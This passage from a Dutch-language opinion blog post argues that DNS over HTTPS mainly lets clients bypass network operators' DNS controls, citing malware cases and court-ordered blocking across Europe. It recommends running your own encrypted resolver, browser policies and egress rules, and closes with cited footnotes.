netwerk man-in-the-middle-en, je eigen root-certificaat op elk apparaat zetten, en de hele boel ontsleutelen en opnieuw versleutelen. Dat is waar een groeiend aantal beheerders nu toe hun toevlucht neemt, om het zicht terug te grijpen dat één firewallregel hun vroeger voor nowt gaf.\nEn het is een veel slechtere ruil: je hebt TLS voor alles verzwakt, een ontsleuteldoos in het pad van elke aanmelding en elke banksessie gezet, en één doelwit gebouwd dat alles compromitteert, een houding waar US-CERT ronduit voor waarschuwde11. De evenredige controle was gebroken, dus de onevenredige is wat overblijft.\nEn dat is de klem. Het mechanisme dat een journalist op luchthaven-wifi tegen een vijandig netwerk afschermt, is hetzelfde dat malware op jouw netwerk tegen jou afschermt, en het protocol kan de twee niet uit elkaar houden. Een resolver die omzeild wordt, weet niet of het een censor is of een beveiligingsteam. Het weet alleen dat het buitengesloten is.\nHet Juiste Antwoord Was Altijd DNS Over TLS Hier is het deel dat het spel verraadt. Het versleutelen van DNS had niets hiervan nodig. Het was al twee jaar voor DoH gedaan, op een manier die degene die het netwerk draait in staat liet zijn werk te doen.\nDNS over TLS, RFC 7858, is van mei 2016. De samenvatting zegt in de eerste regel waar het voor is: om “provide privacy for DNS”, versleuteling die “eliminates opportunities for eavesdropping and on-path tampering with DNS queries in the network”12. Dat is de hele privacyzaak, geregeld: het koffiehuis en de ISP buitengesloten, precies zoals bij DoH, want de opzoeking is van eind tot eind versleuteld.\nEn het is mede geschreven door Paul Hoffman, die daarna ook de DoH-standaard mede schreef1. Geen twee rivaliserende kampen dus. Dezelfde mensen, die privacy al hadden opgelost, die het nog eens oplossen op een andere manier.\nWie Hoffman is doet ertoe, want het zegt waar dit vandaan kwam. Hij is geen buitenstaander in DNS: zijn naam staat op meer dan tachtig RFC\u0026rsquo;s, waaronder de DNS-terminologiestandaard, en hij doet het werk als technoloog bij ICANN13. Dus de standaard die DNS op 443 verstopte, is van binnen ICANN mede geschreven, het Amerikaanse orgaan dat bepaalt wat er in de root komt.\nEn ICANN is niet de belangeloze beheerder die het woord suggereert. Ik heb zijn staat van dienst apart uiteengezet: gebouwd in Californië, verantwoording afleggend aan Californië, en bereid zijn positie over de naamruimte voor eigen doelen te gebruiken. Dit was geen privacycampagne vanaf de rand. Het was het establishment dat de root vasthoudt, dat een privacyzaak die het in 2016 al had geregeld nog eens regelt, op een manier die de netwerkbeheerder eruit haalde.\nVraag dus wat de tweede manier toevoegde, want privacy was het niet.\nStandaard Jaar Poort Versleutelt DNS Beheerder kan nog zien dat het DNS is DNS over TLS (RFC 7858) 2016 853 Ja Ja DNS over HTTPS (RFC 8484) 2018 443 Ja Nee Privacy was opgelost in 2016 door DoT. DoH kwam twee jaar later en voegde alleen omzeiling toe. Versleutelde DNS: wat eerst kwam, en wat daarna kwam mei 2016 DNS over TLS (RFC 7858), poort 853 Versleutelt DNS. Operator ziet nog dat het DNS is. Privacy opgelost. okt 2018 DNS over HTTPS (RFC 8484), poort 443 Zelfde hoofdauteur. Zelfde versleuteling. Operator ziet het niet meer. jul 2019 Godlua: eerste malware die zijn C2 over DoH verbergt jul 2019 ISPA bestempelt Mozilla als “Internet Villain” voor DoH, en trekt het dan in sep 2019 PsiXBot lost zijn C2-domeinen op over Googles DoH feb 2020 Firefox zet DoH standaard aan in de VS, resolver Cloudflare Q2 2020 OilRig (APT34) sluist data weg over DoH De privacy was compleet in 2016. Alles onder de tweede stip is omzeiling en waar omzeiling voor gebruikt werd. Niets ervan vereiste een nieuwe privacystandaard. De volgorde is het argument. DNS over TLS loste het privacyprobleem op in 2016, op een poort die de netwerkbeheerder nog kan besturen. DNS over HTTPS kwam twee jaar later van dezelfde hoofdauteur, voegde aan de privacy niets toe behalve de verhuizing naar poort 443, en alles onder dat tweede punt is omzeiling en waar omzeiling voor gebruikt werd. Het enige vakje dat veranderde, is het laatste. DoT draait op zijn eigen poort, 853, dus de beheerder kan zien dat het DNS is en beslissen wat ermee gebeurt: hem naar de gesanctioneerde resolver toelaten, hem elders weigeren. DoH zet dezelfde versleutelde opzoeking op 443 en mengt hem in het web, waar de beheerder hem er niet uit kan pikken.\nDezelfde privacy, dezelfde versleuteling. Het enige verschil tussen de twee standaarden is of degene die het netwerk draait zijn eigen DNS nog kan zien. Dat is geen privacyfunctie. Privacy werd geleverd in 2016. Het is een omzeilfunctie, en het is het enige dat DoH toevoegt.\nEn ze wisten het. Dit is gedocumenteerd, niet afgeleid. De eigen Operational Considerations van RFC 8484 zeggen het onomwonden: “Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS”8.\nDie systemen zijn de beveiligingshulpmiddelen die al gebruikers beschermen: malware- en commandoserverblokkering, Protective DNS-overzichten, kinderveiligheidsfilters, bedrijfsinspectie. De standaard noemt ze, in zijn eigen tekst, als de dingen die ophouden te werken. Het breken van gereedschap dat mensen al verdedigde, was een keuze, met open ogen gemaakt en standaard aangezet uitgerold. Het effect kennen en het toch kiezen is een beslissing waarover ze verantwoording kan worden gevraagd.\nEn daarom overleeft de privacyframing de tijdlijn niet. Zodra DoT bestaat, kan privacy niet de reden voor DoH zijn, want privacy was al gedaan, door dezelfde auteur, twee jaar eerder. Dus privacy was de rookgordijn.\nTrek het weg en kijk naar wat de tweede standaard eigenlijk in gang zette: een wapenwedloop. Het nam een controle die één firewallregel was en veranderde hem in een eeuwige achtervolging, resolvers tegen blokkeerlijsten tegen verse resolvers, de beheerder die standaard verliest, en een handvol Amerikaanse bedrijven die aan het eind de leesbare tekst vasthouden.\nNoem dat een neveneffect van een privacyfunctie als je wilt. Op grond van het bewijs, met DoT al geleverd en de standaard zelf toegevend dat het filtering zou breken, is het het doel, en privacy was het woord op de doos geschilderd. En het werd hard onder dat woord geduwd, door de partijen die wonnen.\nDuwde en leverde DoH Wat ze verder zijn Mozilla Mede schrijver van RFC 8484, zette DoH daarna standaard aan voor Amerikaanse Firefox, resolver Cloudflare Google Levert DoH in Chrome, draait een grote publieke DoH-resolver, en is een advertentiebedrijf Cloudflare De standaardresolver van Amerikaanse Firefox, dus het ontvangt die verzoeken Degenen die het als privacy verkochten, waren de browserleveranciers, en de begunstigden waren niet alleen de gebruikers.\nMag ik vragen waarom, als het doel privacy was, het antwoord niet de versleutelde-DNS-standaard was die al bestond en de beheerder in de lus hield, maar een tweede die zo gebouwd is dat de beheerder hem niet kon zien? Ik vraag niet wie het tekende. Ik vraag welk deel van “privacy” vereiste dat de ene persoon die verantwoordelijk is voor het netwerk eruit werd gesneden.\nWant dat is het echte doelwit, en het is de netwerkbeheerder: de professional die verantwoordelijk is voor de beveiliging en de veiligheid van het netwerk, standaard behandeld als de tegenstander. DoH neemt niet eens de bewaking weg waar de privacypitch over klaagde. Zoals Bert Hubert van PowerDNS uiteenzette, werd DNS “typically provided by the operator of a network”, en het standaard naar een derde partij verplaatsen is “a net-negative for privacy for everyone”, want die derde partij “gets a complete log per device of all DNS queries, in a way that can even be tracked across IP addresses”14.\nDe opzoekingen zijn niet verborgen. Ze worden aan een Amerikaanse resolveroperator gegeven in plaats van aan de beheerder, en de beheerder is de enige partij die verwijderd wordt. De leveranciers weten het ook. De logica “detecteer een beheerd netwerk en trek je terug” in het volgende deel bestaat juist omdat de standaard de beheerder overstemt, en ze leverden de uit-schakelaar in plaats van de standaard te veranderen.\nVraag nu wie er wint bij het langs de beheerder leiden van DNS. Het uithangbord is de journalist op vijandige luchthaven-wifi, en die persoon is echt. Dat is ook de advertentie- en trackingindustrie, wier domeinen langs de blokkeerlijst van een netwerk wandelen op het moment dat een app of een browser ze over DoH oplost.\nBlokkering op netwerkniveau, de Pi-hole, de bedrijfsblokkeerlijst, de filterende resolver, werkt door de naam van een tracker met niets te beantwoorden. DoH is hoe de naam toch beantwoord wordt. En de grootste operator van een publieke DoH-resolver is Google15, een advertentiebedrijf dat ook DoH in zijn eigen browser levert16.\nEen privacyfunctie, verkocht door het bedrijf dat de tracking verkoopt, waarvan het ontwerp het gereedschap verslaat dat mensen draaien om het te blokkeren. Maak ervan wat je wilt. Ik heb mijn mening bepaald.\nZelfs de grove versie van dit bezwaar werd geuit. In juli 2019 nomineerde de Britse ISP-brancheorganisatie Mozilla als “Internet Villain” voor DoH dat “bypass UK filtering obligations and parental controls, undermining internet safety standards in the UK” zou17. Ze kozen een onhandig doelwit en een slechter frame, werden weggehoond, en trokken het in.\nHaal de politiek eraf, en de waarneming eronder klopte, en ze geldt of de controle die omzeild wordt nu een kinderveiligheidsfilter is, een bedrijfsblokkeerlijst of een Pi-hole in een logeerkamer. DoH is gebouwd om DNS langs wie het netwerk ook draait te krijgen.\nEn het is geen kleinigheid, want DoH is nu het moeilijkst van de drie om überhaupt te blokkeren. DoT zit op 853, waar een netwerk hem nog kan weigeren. DoH niet, dus van elke manier waarop DNS een netwerk kan verlaten, is het degene zonder handvat, wat het het grootste enkele risico van allemaal maakt.\nDat reikt tot de wet, niet alleen tot beveiliging. In het VK wordt de blokkering die juridisch gewicht draagt bij de ISP door DNS gedaan: de lijst van de Internet Watch Foundation van beeldmateriaal van kindermisbruik, en de auteursrechtelijke bevelen die het High Court onder section 97A afgeeft, worden afgedwongen via DNS- en IP-filtering op de resolver die een klant krijgt18.\nLeid de DNS-helft daaromheen over DoH en de blokkering geldt niet voor die client. Een rechtbank kan een site laten blokkeren, een netwerk kan opgedragen worden het af te dwingen, en een browser die over DoH oplost, vindt het adres toch, over een kanaal dat het netwerk niet kan zien en niet kan sluiten. Het afdwingen van een cyberwet of een gerechtelijk bevel op netwerkniveau, waar het altijd gedaan is, wordt bijna onmogelijk.\nEn hier belandt de rekening bij iedereen, niet alleen bij het netwerk. Breek de evenredige controle, de chirurgische die een genoemd domein bij de resolver blokkeerde onder een gerechtelijk bevel, en de staat geeft niet op. Hij grijpt naar een botter instrument. De Britse Online Safety Act is dat instrument: brede plichten voor platforms, verplichte leeftijdscontroles, en Ofcom erachter met de boetes, een regime dat elke gebruiker en elke dienst in het land raakt19.\nIk verdedig de wet niet. Ik wijs op waar de druk ervoor vandaan kwam. Wanneer het smalle gereedschap dat de wet op het netwerk afdwong ophoudt te werken, krijg je niet minder handhaving, je krijgt grovere, bredere, indringender handhaving gericht op iedereen, want de gerichte versie houdt niet meer stand. Dat is de prijs van het breken van een basiscontrole, en de mensen die het braken zijn niet degenen die betalen.\nEn het kan ICANN niets schelen, want vanuit Californië is het niet hun probleem. Wanneer een blokkade faalt of een platform zijn plichten schendt, is het niet ICANN dat voor de rechter komt, maar de beheerder, het platform, het bedrijf, die zich tegenover Ofcom en de boetes moeten verantwoorden. De gevolgen komen terecht bij iedereen stroomafwaarts van een besluit waarvoor de instantie die het nam zich nooit hoeft te verantwoorden.\nBreek de chirurgische controle en de staat grijpt naar de moker. Iedereen betaalt. Breek de evenredige controle, en een botter exemplaar neemt zijn plaats in De chirurgische controle Blokkeer één genoemd domein bij de resolver, onder een gerechtelijk bevel Precies, evenredig, alleen op het doelwit gericht DoH breekt het de opzoeking passeert de resolver niet meer Het botte instrument De Online Safety Act: leeftijdscontroles voor iedereen, plichten voor elk platform, Ofcom met de boetes Gericht op het hele land Breek het smalle gereedschap en de staat geeft niet op. Hij grijpt naar het brede, gericht op iedereen, want de gerichte versie houdt niet meer stand. En de mensen die het smalle gereedschap braken, zijn niet degenen die voor het brede betalen. De chirurgische controle blokkeerde één genoemd domein bij de resolver onder een gerechtelijk bevel. DoH breekt het, dus de staat grijpt naar het botte instrument: de Online Safety Act, gericht op elke gebruiker en elk platform in het land. Breek het smalle gereedschap en je krijgt niet minder handhaving, je krijgt een bredere die niemand kan richten. Zet de gevolgen op een rij en ze hebben allemaal dezelfde vorm: een ding dat het netwerk vroeger bij de resolver afdwong, en niet langer kan.\nWat het netwerk afdwong Hoe het gedaan werd Onder DoH Malware- en commandoserverblokkering resolverblokkeerlijst en dreigingsoverzicht omzeild; Godlua, PsiXBot en OilRig deden precies dit Advertentie- en trackerblokkering Pi-hole of een filterende resolver omzeild; de naam van de tracker wordt toch opgelost Gerechtelijke bevelen en de IWF-lijst ISP-DNS-filtering op DNS gebaseerde blokkering geldt niet voor die client DoT was het eerlijke antwoord. Het versleutelt je DNS en laat de beheerder in staat zijn werk te doen. DoH hield de versleuteling en voegde er één ding bovenop toe: de beheerder kan het niet meer zien. Al het andere eraan is stroomafwaarts van die ene keuze.\nGemaakt In De VS, Overal Elders Uitgevochten Niets hiervan houdt op bij het Kanaal, en het lezen als een Brits probleem verkleint het tot een fractie van zijn omvang. Dezelfde vorm loopt dwars door heel Europa en tot in Australië. Een juridisch instrument erin aan de ene kant, een DNS-blokkade op het netwerk aan de andere.\nAustralië laat zijn Federale Rechtbank de ISP\u0026rsquo;s opdragen de toegang tot buitenlandse inbreukmakende sites onmogelijk te maken onder section 115A van de Copyright Act20. Portugal slaat de rechter volledig over: een administratief memorandum waaronder rechthebbenden een instantie genaamd MAPINET op de hoogte brengen, en de ISP\u0026rsquo;s binnen vijftien werkdagen via DNS blokkeren21. Verschillende wetten, één dragende aanname, en het is de aanname die DoH onder al die wetten vandaan schopt. Dat de client resolveert via de resolver die hem is aangereikt.\nKijk dus wat een staat doet wanneer die aanname faalt. Hij leunt niet langer op de ISP en begint de publieke resolvers zelf op te dragen het verkeerde antwoord terug te geven. Dat is geen voorspelling. Het is een stapel vonnissen, en die wordt hoger.\nLand Het blokkeerbevel De publieke resolver Wat er gebeurde Italië AGCOM\u0026rsquo;s Piracy Shield, namen geblokkeerd binnen 30 minuten opgedragen te filteren, 1.1.1.1 inbegrepen Cloudflare weigerde, kreeg een boete van €14,247,698, en gaat in beroep22 Frankrijk Canal+-bevel tegen sportstreaming Google, Cloudflare en OpenDNS allemaal genoemd Cloudflare serveert een HTTP 451, Google laat de query in stilte mislukken, OpenDNS zette zichzelf uit voor het land23 België meer dan 100 sportpiraterijdomeinen dezelfde drie resolvers Cloudflare voldoet met een 451, Google blijft stil, OpenDNS verliet ook België23 Duitsland Universal Music v Cloudflare opgedragen in eerste aanleg, 1.1.1.1 inbegrepen vernietigd in beroep, Keulen oordeelde dat de resolver “passief, automatisch en neutraal” is24 Nederland BREIN\u0026rsquo;s dynamische blokkade op ISP-niveau, de resolver nog niet Ziggo, KPN en de rest blokkeren via DNS en IP, op verzoek bijgewerkt25 Lees dat als één ding, niet vijf. Een handvol Amerikaanse bedrijven herschreef DNS voor de hele planeet op eigen gezag, brak de proportionele controle die elk van deze landen had opgebouwd, en liet de rechtbanken uitzoeken wat ze met de brokstukken aan moesten. De antwoorden die die bedrijven geven, om de paar maanden voor een andere rechter gesleept, vertellen je precies hoe zwaar de rest van de wereld voor hen weegt. Eén gaat in beroep en roept censuur. Eén laat de opzoeking mislukken en vertelt de gebruiker niets. En OpenDNS, de resolver die twintig jaar lang stilletjes malware filterde en die deze post al als het na te volgen model heeft opgevoerd, betoogt helemaal niet. Hij zet zichzelf uit voor Frankrijk en voor Portugal in plaats van ze onder die voorwaarden te bedienen26.\nBlijf even bij dat laatste stil. Het is het goede voorbeeld in dit hele stuk dat de kamer uit loopt. De dienst die mensen beschermde die nooit iets instelden, vindt nu een heel land makkelijker te verlaten dan te bedienen, en de reden gaat rechtstreeks terug op een ontwerpbeslissing genomen in Californië door mensen die nooit hoefden na te denken over een Franse rechtbank of een Portugese.\nDat is het patroon, en ik zal het benoemen. Dit is wat Amerikaanse platformengineering doet met overal wat niet de Verenigde Staten is. Het bouwt voor de eigen markt, levert het resultaat aan de wereld als de standaard, en behandelt de wet van elk ander land, elke toezichthouder, elke gemeenschap die stroomafwaarts van de verandering achterblijft, als andermans rommel om op te ruimen.\nEn de eigen regering steunt de bedrijven tot het uiterste. In februari 2025 zette het Witte Huis zijn naam onder een memorandum dat de digitale wetten van andere landen bestempelt als “afpersing in het buitenland” van Amerikaanse bedrijven, met de VK en de EU met naam genoemd en de handelsgezant op tarieven gericht bij wijze van antwoord27. Zes maanden later schreef een Amerikaanse toezichthouder een dozijn Amerikaanse techbedrijven aan met de waarschuwing dat het naleven van de Britse Online Safety Act of de Digital Services Act van de EU zelf de Amerikaanse wet zou kunnen overtreden28. Lees dat twee keer. Het land waarvan de bedrijven de controles braken, vertelt die bedrijven nu dat het voldoen aan het antwoord van een andere democratie op de breuk het vergrijp is.\nDat zegt alles. Een wet aangenomen door een gekozen parlement in Westminster of Brussel wordt, vanuit Washington, opnieuw bestempeld als een aanval op Amerika, en de bedrijven krijgen te horen hem te negeren. Het is niet dat ze de rest van de wereld hebben afgewogen en ertegen kozen. De rest van de wereld stond nooit op de weegschaal.\nDe Oplossing Is Niet Versleuteling Verbieden De luie conclusie is dus “blokkeer DoH”, en die is fout, op dezelfde manier als “blokkeer ICMP” fout is op de firewall. Je wilt onversleutelde DNS niet terug. Leesbare opzoekingen op poort 53 zijn een echte blootstelling en ernaar teruggaan om zicht terug te winnen, is het ene gat ruilen voor het andere.\nWat je eigenlijk kwijtraakte, was niet de versleuteling. Het was de keuze van de resolver. Neem die dus terug en laat de versleuteling precies waar hij is.\nHoud de versleuteling. Neem de keuze van resolver terug. Van begin tot eind versleuteld. Eén machine mag DNS met de wereld spreken. Clients 53, DoT of DoH, alleen naar je resolver DDR vertelt ze waarheen Je resolver bedient zelf DoH en DoT blokkeerlijst, dreigingsoverzicht, log kanarie beantwoord met NXDOMAIN Grens alleen dit Upstream of de roots client rechtstreeks naar 53, 853 of een publieke DoH-resolver: geweigerd Niets hier schakelt versleuteling uit. Het enige dat de client wordt afgenomen, is het recht om andermans resolver te kiezen. De verbeterde opzet. Clients mogen gewone DNS, DNS over TLS of DNS over HTTPS gebruiken, maar alleen naar je eigen resolver, die nu alle drie bedient. Die resolver houdt de blokkeerlijst en het log en is de enige machine die DNS van welke soort dan ook langs de grens mag sturen. Poort 53, poort 853 en bekende publieke DoH-resolvers worden van al het andere geweigerd. Niets hier schakelt versleuteling uit. Het enige dat van de client wordt afgenomen, is het recht om andermans resolver te kiezen. De vorm is dezelfde die de DNS in een Active Directory-domein oplost: het argument is nooit “zet de functie uit”, het is “beslis wie hem mag besturen”. Hier is wat dat in delen betekent.\nDraai zelf versleutelde DNS. Zet een resolver op die DoH en DoT bedient, niet alleen poort 53, zodat een client die versleuteling wil, die van jou krijgt. Je kunt clients niet “geen DoH” zeggen en het menen terwijl je geen eigen versleutelde resolver aanbiedt. Geef ze er een, en houd de blokkeerlijst, het dreigingsoverzicht en het loggen erop zoals voorheen.\nKondig hem aan, zodat clients hem bewust vinden. Discovery of Designated Resolvers (RFC 9462) laat een client een speciale naam bevragen, de eigen versleutelde resolver van zijn netwerk leren, en daartegen automatisch opwaarderen naar DoH of DoT29. Een DDR-bewuste client versleutelt dan zijn DNS en gebruikt de jouwe: de privacy die de gebruiker wilde en de controle die jij nodig had, in één zet.\nBeantwoord de eigen uit-schakelaar van de browser. Firefox controleert een kanariedomein, use-application-dns.net, voordat hij DoH standaard aanzet: beantwoord het met NXDOMAIN of SERVFAIL en Firefox trekt zich terug naar de systeemresolver30. Twee eerlijke grenzen, allebei in Mozilla\u0026rsquo;s eigen woorden. De kanarie “only applies to users who have DoH enabled as the default option. It does not apply for users who have made the choice to turn on DoH by themselves”30. Dus het is een standaard-uit-signaal, geen slot, en het doet niets bij de app en de malware, die de browser nooit iets vroegen.\nStel het browserbeleid in waar je de machine beheert. Op een apparaat dat je bezit, vertrouw niet op de kanarie. Chromes DnsOverHttpsMode neemt off, automatic en secure, en Googles documentatie stelt dat waar het niet ingesteld is, “for managed devices DNS-over-HTTPS queries will not be sent”31; Chrome schakelt zijn eigen auto-DoH uit zodra het een bedrijfsbeleid ziet16. Wijs het naar je resolver, of zet het op off en laat DDR de versleuteling dragen. Firefox heeft de bijpassende knoppen Enabled, ProviderURL en Locked32. Beheerde machine, beheerde beslissing, en de rij die je echt kunt sluiten.\nWeiger de alternatieven aan de grens. De regels zijn kort, en ze zeggen allemaal hetzelfde: DNS van welke soort dan ook, naar buiten, alleen vanaf je resolver.\nRegel Vanaf Effect Blokkeer uitgaande poort 53 Alles behalve je resolver Geen gewone DNS naar buiten Blokkeer uitgaande poort 853 Alles behalve je resolver Geen DoT naar een externe resolver Blokkeer HTTPS naar adressen van publieke DoH-resolvers Alles behalve je resolver Sluit de bekende DoH-aanbieders af Wijs de upstream van je resolver naar Protective DNS Je resolver Malwaredomeinen geweigerd vóór de verbinding Je vangt niet elk DoH-eindpunt via adres, en dat kun je ook niet, want een nieuwe is gewoon een webserver en er komt geen einde aan webservers. Sta dus even stil bij wat die blokkering nu kost. Om voor DoH te doen wat block 53 outbound gratis deed, haal je een lijst van DoH-serveradressen die iemand anders voor je blijft scannen: de onderhouden blokkeerlijsten bestaan omdat dit de enige manier is die overblijft, en een ervan lost elk bekend publiek DoH-domein elk uur opnieuw op naar zijn actuele IP\u0026rsquo;s, per geplande taak, en verstuurt de wijzigingen33. Dat is de ruil die de omzeiling afdwong.\nExterne DNS blokkeren Toen, op poort 53 Nu, DoH op 443 De regel één regel: block 53 outbound abonneer op een IP-blokkeerlijst van DoH-servers Volledigheid volledig op het moment dat hij bewaard werd nooit volledig; er blijven nieuwe eindpunten opduiken Onderhoud geen elk uur opnieuw gescand, opgehaald en toegepast Wat het vergt de firewall de firewall plus andermans onderhouden overzicht Een controle die één statische regel was, is nu een abonnement op een bewegend doelwit, jagend op webservers die iedereen sneller kan opzetten dan een lijst ze kan benoemen. Protective DNS sluit het andere eind: wijs de upstream van je resolver naar een filterdienst zoals de PDNS van de NCSC, die “was built to hamper the use of DNS for malware distribution and operation”34, en de slechte domeinen worden geweigerd voordat de verbinding tot stand komt, voor elke client die via je resolver komt, wat, zodra deze regels op hun plaats staan, ze allemaal zijn.\nZet die tegen de vijf rijen van eerder, en elk ervan heeft een controle die het sluit. Dat is de test van een oplossing: niet “hebben we DoH geblokkeerd”, maar “voor elk ding dat een resolver kan kiezen, wat belet het de verkeerde te kiezen”.\nWie de resolver kiest Wat het sluit Besturingssysteem DDR wijst het naar je resolver; houd het zo Browser Beleid op beheerde machines; de kanarie op de rest Applicatie / bibliotheek Grensblokkering op 53, 853 en publieke DoH-resolvers Script op een webpagina Dezelfde grensblokkering; Protective DNS op je upstream Malware Dezelfde grensblokkering, plus Protective DNS die het domein weigert Niets daarvan schakelt ook maar een bit versleuteling uit. Clients krijgen nog steeds DoH, ze krijgen het alleen van jou, en degenen die het ergens anders vandaan proberen te halen, lopen tegen een muur. De privacy is intact en de controle is terug. Als zodanig is het enige dat iemand kwijtraakte de vrijheid om een resolver te kiezen die je nooit goedkeurde, en die was nooit van hen op een netwerk waar jij verantwoordelijk voor bent.\nMag Ik Vragen Wat Die Resolver Koos Hier is de vraag om te stellen aan iedereen die je vertelt dat het netwerk prima is zoals het is.\nWanneer een machine op je netwerk een naam oplost, wat besliste welke resolver antwoordde? Als het eerlijke antwoord “wat het OS ook maar kreeg” is, goed, maar alleen als je de andere vier rijen van die tabel gesloten hebt, want anders is het “wat het OS ook maar kreeg, tenzij de browser, een app, een webpagina of iets kwaadaardigers iets anders koos, in welk geval ik geen idee heb en geen registratie”. Dat is geen DNS-opzet. Dat is een hoop, en hoop vangt nowt.\nIk vraag niet wie de resolver draait. Ik vraag wat, op elke machine, hem mag kiezen, en of je de resolver zou kunnen noemen waar gisteren elke opzoeking heen ging. Op een netwerk waar DoH onbeheerd is, kun je dat niet, en het gat is elke app die zijn eigen resolver meedraagt, elke pagina die een gebruiker opent, en elk stuk malware dat hetzelfde onderzoek las dat ik zojuist linkte. Drie met naam genoemde dreigingsactoren bouwden hun kanalen op precies dit gat, en één legt verantwoording af aan een overheid.\nEen protocol dat de keuze van de resolver van het netwerk afneemt, zou altijd een cadeau zijn aan wie het netwerk ook probeerde te bewaken, en het tegendeel voorwenden omdat de marketing “privacy” zei, is hoe een controle die ertoe deed standaard uitgezet wordt en niemand de dag logt waarop het gebeurde.\nVersleutel je DNS. Draai zelf de resolver. Kondig hem aan, beantwoord de kanarie, stel het beleid in, sluit de grens. Houd de versleuteling en houd de keuze. Je kunt allebei hebben, en als je netwerken draait voor de kost, is allebei hebben het werk.\nPrivacy Was Het Woord Op De Doos Dus alle eer waar die verdiend is. Dank aan ICANN, het Amerikaanse orgaan dat de root vasthoudt en dit van binnenuit mede schreef, voor het nog eens draaien van het Amerikaanse tech-draaiboek: neem een probleem dat al was opgelost, wikkel de oplossing in een deugdzaam woord, en centraliseer het resultaat op een handvol Amerikaanse bedrijven die uiteindelijk de leesbare tekst vasthouden.\nEn het is altijd de VS. Het orgaan dat de root vasthoudt, de resolver waar twee browsers nu standaard naar wijzen, het advertentiebedrijf dat de grootste publieke draait, het land waar de leesbare tekst belandt: Amerikaans, elke keer. Het is een patroon, geen reeks van pech.\nPrivacy was de rookgordijn. DNS was versleuteld, privé en nog bestuurbaar op poort 853 in 2016, en iedereen die ertoe deed wist het. Wat het establishment daarbovenop leverde, was een protocol gebouwd om de ene persoon die verantwoordelijk is voor het netwerk blind te maken, een eeuwige wapenwedloop van blokkeerlijsten die per uur opnieuw gescand worden, en gerechtelijke bevelen die dood lopen bij de browser.\nOf dat onbekwaamheid of hebzucht was, laat ik jou beslissen, al wijst de staat van dienst die ik linkte één kant op. Hoe dan ook won het van het gezond verstand.\nEn beslissingen als deze zijn waarom de oproepen om de root bij ICANN weg te halen blijven terugkomen, en waarom ze aankomen: zodat de internationale gemeenschap een stem krijgt, in plaats van de instelling van één land die de DNS voor de rest van iedereen beslist en het beheer noemt.\nVroeger deden we dit allemaal met één regel.\nRFC 8484 — DNS Queries over HTTPS (DoH), oktober 2018. De inleiding stelt als doel “allowing web applications to access DNS information via existing browser APIs in a safe way consistent with Cross Origin Resource Sharing (CORS)”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n360 Netlab — An Analysis of Godlua Backdoor, 1 juli 2019. Legt vast dat het sample “uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2” — de eerste breed gemelde malware die DoH misbruikte.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nProofpoint — PsiXBot Now Using Google DNS over HTTPS, 6 september 2019. Meldt dat de malware hardgecodeerde C2-domeinen oplost via Googles DoH-dienst, en waarschuwt dat het “should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKaspersky Securelist — APT trends report Q2 2020. Over OilRig (APT34): het DNSExfiltrator-hulpmiddel “allows the threat actor to use the DNS over HTTPS (DoH) protocol [\u0026hellip;] instead of plain text requests to port 53, they would use port 443 in encrypted packets [\u0026hellip;] which allows DoH queries to Google and Cloudflare services”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe Hacker News — ChamelDoH: New Linux Backdoor Utilizing DNS-over-HTTPS Tunneling for Covert CnC, 16 juni 2023, over de bevinding van Stairwell (Daniel Mayer). Het C++-Linux-implantaat van ChamelGang is “a tool for communicating via DNS-over-HTTPS (DoH) tunneling” en stuurt DNS TXT-verzoeken naar malafide naamservers via legitieme DoH-aanbieders, zodat “both detection and prevention become difficult”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Malware Analysis Report: BRICKSTORM Backdoor, AR25-338a, 4 december 2025. “For C2, BRICKSTORM uses multiple layers of encryption (HTTPS, WebSockets, nested Transport Layer Security [TLS]) to hide its communications with the cyber actors\u0026rsquo; C2 server. It also uses DNS-over-HTTPS (DoH)”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco Talos — New Dohdoor malware campaign, 26 februari 2026. De backdoor, toegeschreven aan actor UAT-10027, “securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443” om zijn commandoserver op te lossen, en richt zich via phishing op Amerikaans onderwijs en de zorg.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, Section 10, Operational Considerations: “Filtering or inspection systems that rely on unsecured transport of DNS will not function in a DNS over HTTPS environment due to the confidentiality and integrity protection provided by TLS.” Het effect op netwerkfiltering staat in de standaard zelf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8484, Section 9, Security Considerations: een DoH-server “can give a client invalid data in response to a DNS query”, en hoewel de standaard antwoorden van niet-geconfigureerde servers verbiedt, “this prohibition does not guarantee protection against invalid data, but it does reduce the risk.” DoH beveiligt het transport, niet de echtheid van het record; dat is het werk van DNSSEC.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenDNS — een recursieve DNS-resolver opgericht door David Ulevitch in 2005/2006, die beveiligingsfiltering (phishing- en malwareblokkering) en inhoudsfiltering op de resolver biedt voor thuis- en bedrijfsgebruikers; overgenomen door Cisco in 2015 en nu deel van Cisco Umbrella. DNS-beveiliging op resolverniveau gaat lang aan DoH vooraf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS-CERT / CISA — HTTPS Interception Weakens TLS Security, waarschuwing TA17-075A, 16 maart 2017. Waarschuwt dat het onderscheppen van HTTPS door een lokaal vertrouwd certificaat aan te bieden en verkeer te ontsleutelen de beveiliging verzwakt, omdat veel onderscheppingsproducten certificaten niet goed verifiëren en de bescherming van de verbinding verlagen.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7858 — Specification for DNS over Transport Layer Security 